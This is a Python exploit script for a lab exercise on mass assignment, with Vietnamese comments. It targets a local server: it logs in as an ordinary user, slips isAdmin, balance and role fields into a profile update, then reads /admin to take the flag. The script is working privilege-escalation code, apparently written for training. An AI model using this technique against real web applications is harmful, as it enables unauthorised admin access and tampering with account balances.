#!/usr/bin/env python3
"""
Exploit lab 5.4 - Mass assignment.

Buoc 1: dang nhap eve (user thuong), xem profile (isAdmin=false, balance=0).
Buoc 2: cap nhat profile NHUNG nhet them isAdmin=true, balance=1000000,
        role=admin -> server gan het.
Buoc 3: truy cap /admin (gio isAdmin=true) -> lay flag.
"""
import sys
import requests

BASE = "http://127.0.0.1:8053"


def main():
    s = requests.Session()
    print("[*] Buoc 1: dang nhap eve (user thuong)")
    s.post("%s/login" % BASE, data={"username": "eve", "password": "pw"})
    r = s.get("%s/api/profile" % BASE)
    print("    profile truoc:", r.json())

    print("\n[*] Thu vao /admin khi chua nang quyen (phai 403):")
    r = s.get("%s/admin" % BASE)
    print("    ->", r.status_code, r.json())

    print("\n[*] Buoc 2: cap nhat profile, nhet them truong dac quyen")
    payload = {
        "email": "eve@new.local",      # truong hop le
        "bio": "toi chi doi email thoi ma",
        "isAdmin": True,               # truong LEN LUT
        "balance": 1000000,
        "role": "admin",
    }
    r = s.post("%s/api/profile" % BASE, json=payload)
    print("    gui:", payload)
    print("    profile sau:", r.json())

    print("\n[*] Buoc 3: truy cap /admin sau khi isAdmin=true")
    r = s.get("%s/admin" % BASE)
    print("    ->", r.status_code, r.json())
    flag = r.json().get("flag")
    if flag:
        print("\n[+] Nang quyen thanh cong qua mass assignment. FLAG =", flag)
        sys.exit(0)
    print("\n[-] That bai")
    sys.exit(1)


if __name__ == "__main__":
    main()